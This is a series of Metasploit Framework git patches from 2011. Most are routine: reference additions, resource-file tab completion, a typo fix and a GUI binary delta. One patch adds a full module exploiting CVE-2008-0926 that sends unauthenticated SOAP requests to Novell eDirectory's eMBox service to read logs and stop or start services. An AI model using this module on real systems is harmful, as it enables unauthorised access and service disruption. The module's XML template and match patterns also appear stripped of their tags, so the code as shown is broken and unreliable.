From 85caabbf5d8b74a7ca79191811452cb9d4a774d7 Mon Sep 17 00:00:00 2001 From: Steve Tornio Date: Wed, 14 Dec 2011 07:19:34 -0600 Subject: [PATCH 1/8] add osvdb ref --- modules/exploits/multi/http/traq_plugin_exec.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/modules/exploits/multi/http/traq_plugin_exec.rb b/modules/exploits/multi/http/traq_plugin_exec.rb index 83e19ff62a..2abf93108e 100644 --- a/modules/exploits/multi/http/traq_plugin_exec.rb +++ b/modules/exploits/multi/http/traq_plugin_exec.rb @@ -34,6 +34,7 @@ class Metasploit3 < Msf::Exploit::Remote ], 'References' => [ + [ 'OSVDB', '77556'], [ 'URL', 'http://www.exploit-db.com/exploits/18213/' ], [ 'URL', 'http://traqproject.org/' ], ], From 1712f2aa22353c23b00ab298061a606c0a9bed48 Mon Sep 17 00:00:00 2001 From: Steve Tornio Date: Wed, 14 Dec 2011 07:23:11 -0600 Subject: [PATCH 2/8] add osvdb ref --- modules/exploits/windows/scada/codesys_web_server.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/modules/exploits/windows/scada/codesys_web_server.rb b/modules/exploits/windows/scada/codesys_web_server.rb index 13f521f8d3..4b6169d434 100644 --- a/modules/exploits/windows/scada/codesys_web_server.rb +++ b/modules/exploits/windows/scada/codesys_web_server.rb @@ -29,6 +29,7 @@ class Metasploit3 < Msf::Exploit::Remote ], 'References' => [ + [ 'OSVDB', 77387'], [ 'URL', 'http://aluigi.altervista.org/adv/codesys_1-adv.txt' ], [ 'URL', 'http://www.exploit-db.com/exploits/18187/' ], [ 'URL', 'http://www.us-cert.gov/control_systems/pdf/ICS-ALERT-11-336-01A.pdf' ] From 5166bdcb016a576f753ae7650254abd9548af349 Mon Sep 17 00:00:00 2001 From: Joshua Smith Date: Thu, 15 Dec 2011 17:27:52 -0500 Subject: [PATCH 3/8] initial, working resource file tab completion, completes from /scripts/resource, see redmine no. 4611 --- lib/msf/ui/console/command_dispatcher/core.rb | 58 ++++++++++++++++--- 1 file changed, 50 insertions(+), 8 deletions(-) diff --git a/lib/msf/ui/console/command_dispatcher/core.rb b/lib/msf/ui/console/command_dispatcher/core.rb index 09763f708d..4418c87773 100644 --- a/lib/msf/ui/console/command_dispatcher/core.rb +++ b/lib/msf/ui/console/command_dispatcher/core.rb @@ -185,19 +185,61 @@ class Core cmd_resource_help return false end + args.each do |res| - if not File.file? res + good_res = nil + if (File.file? res and File.readable? res) + good_res = res + elsif + # let's check to see if it's in the scripts/resource dir (like when tab completed) + [ + ::Msf::Config.script_directory + File::SEPARATOR + "resource", + ::Msf::Config.user_script_directory + File::SEPARATOR + "resource" + ].each do |dir| + res_path = dir + File::SEPARATOR + res + if (File.file?(res_path) and File.readable?(res_path)) + good_res = res_path + break + end + end + end + if good_res + driver.load_resource(good_res) + else print_error("#{res} is not a valid resource file") next end - driver.load_resource(res) end end - + + # + # Tab completion for the resource command + # def cmd_resource_tabs(str, words) - return [] if words.length > 1 - - tab_complete_filenames(str, words) + tabs = [] + #return tabs if words.length > 1 + if ( str and str =~ /^#{Regexp.escape(File::SEPARATOR)}/ ) + # then you are probably specifying a full path so let's just use normal file completion + return tab_complete_filenames(str,words) + elsif (not words[1] or not words[1].match(/^\//)) + # then let's start tab completion in the scripts/resource directories + begin + [ + ::Msf::Config.script_directory + File::SEPARATOR + "resource", + ::Msf::Config.user_script_directory + File::SEPARATOR + "resource" + ].each do |dir| + next if not ::File.exist? dir + tabs += ::Dir.new(dir).find_all { |e| + path = dir + File::SEPARATOR + e + ::File.file?(path) and File.readable?(path) + } + end + rescue Exception + end + else + tabs += tab_complete_filenames(str,words) + end + return tabs end def cmd_makerc_help @@ -902,7 +944,7 @@ class Core if (path !~ /#{File::SEPARATOR}/) plugin_file_name = path - # If the plugin isn't in the user direcotry (~/.msf3/plugins/), use the base + # If the plugin isn't in the user directory (~/.msf3/plugins/), use the base path = Msf::Config.user_plugin_directory + File::SEPARATOR + plugin_file_name if not File.exists?( path + ".rb" ) # If the following "path" doesn't exist it will be caught when we attempt to load @@ -2132,7 +2174,7 @@ class Core # Returns the revision of the framework and console library # def cmd_version(*args) - ver = "$Revision$" + ver = "$Revision: 14065 $" print_line("Framework: #{Msf::Framework::Version}.#{Msf::Framework::Revision.match(/ (.+?) \$/)[1]}") print_line("Console : #{Msf::Framework::Version}.#{ver.match(/ (.+?) \$/)[1]}") From bb2ea62de8baea05ecc309b57a489ea0c446fe85 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Thu, 15 Dec 2011 23:09:26 -0600 Subject: [PATCH 4/8] Add CVE-2008-0926: Novell eDirectory eMBox Unauthenticated Access (Feature #2729) --- .../admin/edirectory/edirectory_edirutil.rb | 156 ++++++++++++++++++ 1 file changed, 156 insertions(+) create mode 100644 modules/auxiliary/admin/edirectory/edirectory_edirutil.rb diff --git a/modules/auxiliary/admin/edirectory/edirectory_edirutil.rb b/modules/auxiliary/admin/edirectory/edirectory_edirutil.rb new file mode 100644 index 0000000000..5ecec93a2c --- /dev/null +++ b/modules/auxiliary/admin/edirectory/edirectory_edirutil.rb @@ -0,0 +1,156 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::Tcp + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Novell eDirectory eMBox Unauthenticated File Access', + 'Description' => %q{ + This module will access Novell eDirectory's eMBox service and can run the + following actions via the SOAP interface: GET_DN, READ_LOGS, LIST_SERVICES, + STOP_SERVICE, START_SERVICE, SET_LOGFILE. + }, + 'References' => + [ + [ 'CVE', '2008-0926' ], + [ 'BID', '28441' ], + [ 'OSVDB', '43690' ] + ], + 'Author' => + [ + 'Nicob', + 'MC', #Initial Metasploit module + 'sinn3r' + ], + 'License' => MSF_LICENSE, + 'Actions' => + [ + [ + 'GET_DN', + { + 'Description' => 'Get DN', + 'CMD' => 'novell.embox.connmgr.serverinfo', + 'PATTERN' => /(.*)<\/ServerDN>/, + 'USE_PARAM' => false + } + ], + [ + 'READ_LOGS', + { + 'Description' => 'Read all the log files', + 'CMD' => 'logger.readlog', + 'PATTERN' => /(.*)<\/LogFileData>/, + 'USE_PARAM' => false + } + ], + [ + 'LIST_SERVICES', + { + 'Description' => 'List services', + 'CMD' => 'novell.embox.service.getServiceList', + 'PATTERN' => /(.*)<\/DSService:Message>/, + 'USE_PARAM' => false + } + ], + [ + 'STOP_SERVICE', + { + 'Description' => 'Stop a service', + 'CMD' => 'novell.embox.service.stopService', + 'PATTERN' => /(.*)<\/DSService:Message>/, + 'PARAM' => ''+ + '__PARAM__'+ + '', + 'USE_PARAM' => true + } + ], + [ + 'START_SERVICE', + { + 'Description' => 'Start a service', + 'CMD' => 'novell.embox.service.startService', + 'PATTERN' => /(.*)<\/DSService:Message>/, + 'PARAM' => '' + + '' + + '__PARAM__'+ + '', + 'USE_PARAM' => true + } + ], + [ + 'SET_LOGFILE', + { + 'Description' => 'Read Log File', + 'CMD' => 'logger.setloginfo', + 'PATTERN' => /(.*)<\/Logger:Message>/, + 'PARAM' => '__PARAM__'+ + '', + 'USE_PARAM' => true + } + ] + ], + 'DefaultAction' => 'LIST_SERVICES' + )) + + register_options( + [ + Opt::RPORT(8028), + OptString.new("PARAM", [false, 'Specify a parameter for the action']) + ], self.class) + end + + def run + + if action.opts['USE_PARAM'] + if datastore['PARAM'].nil? or datastore['PARAM'].empty? + print_error("You must supply a parameter for action: #{action.name}") + return + else + param = action.opts['PARAM'].gsub(/__PARAM__/, datastore['PARAM']) + end + else + param = '' + end + + template = %Q| + + + + + #{action.opts['CMD']} + #{param} + + | + + template = template.gsub(/^\t\t/, '') + template = template.gsub(/\n/, '') + + connect + print_status("Sending command: #{action.name}...") + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => '/SOAP', + 'data' => template + "\n\n", + 'headers' => + { + 'Content-Type' => 'text/xml', + 'SOAPAction' => "\"" + Rex::Text.rand_text_alpha_upper(rand(25) + 1) + "\"", + } + }, 25) + + raw_data = res.body.scan(/#{action.opts['PATTERN']}/).flatten[0] + print_line("\n" + Rex::Text.decode_base64(raw_data)) + + disconnect + end +end \ No newline at end of file From 3c08836f51ae7c7d619a32765be3ebbc3695281d Mon Sep 17 00:00:00 2001 From: Carlos Perez Date: Fri, 16 Dec 2011 01:13:06 -0400 Subject: [PATCH 5/8] Typo on the file opening mode --- modules/post/multi/gather/multi_command.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/post/multi/gather/multi_command.rb b/modules/post/multi/gather/multi_command.rb index 99b6e58c6f..9cc085acbe 100644 --- a/modules/post/multi/gather/multi_command.rb +++ b/modules/post/multi/gather/multi_command.rb @@ -42,7 +42,7 @@ class Metasploit3 < Msf::Post if not ::File.exists?(datastore['RESOURCE']) raise "Resource File does not exists!" else - ::File.open(datastore['RESOURCE'], "br").each_line do |cmd| + ::File.open(datastore['RESOURCE'], "rb").each_line do |cmd| next if cmd.strip.length < 1 next if cmd[0,1] == "#" begin From 5bad92e021fca88fcdd4b3fce9b1dfbdf7962f71 Mon Sep 17 00:00:00 2001 From: scriptjunkie Date: Fri, 16 Dec 2011 09:52:12 -0600 Subject: [PATCH 6/8] Gui Bugfixen: Msgpack-error-fixen, Unneccessary-error-message-removen, popup-showen, und lock-contention-reducen. Viel besser! --- data/gui/msfgui.jar | Bin 798441 -> 798157 bytes .../src/msfgui/DbConnectDialog.java | 1 + .../gui/msfguijava/src/msfgui/MainFrame.java | 4 +++- .../src/msfgui/MeterpFileBrowser.java | 9 ++------- .../src/msfgui/OpenConnectionDialog.java | 1 - .../msfguijava/src/msfgui/ProcessList.java | 14 ++------------ 6 files changed, 8 insertions(+), 21 deletions(-) mode change 100644 => 100755 external/source/gui/msfguijava/src/msfgui/MainFrame.java diff --git a/data/gui/msfgui.jar b/data/gui/msfgui.jar index 8d83e692bb1c14fa4e81ae4d458037dea8c4fb62..b99ff5ded63d9c73673c5ebeab42a2bdb38fc49f 100755 GIT binary patch delta 39913 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 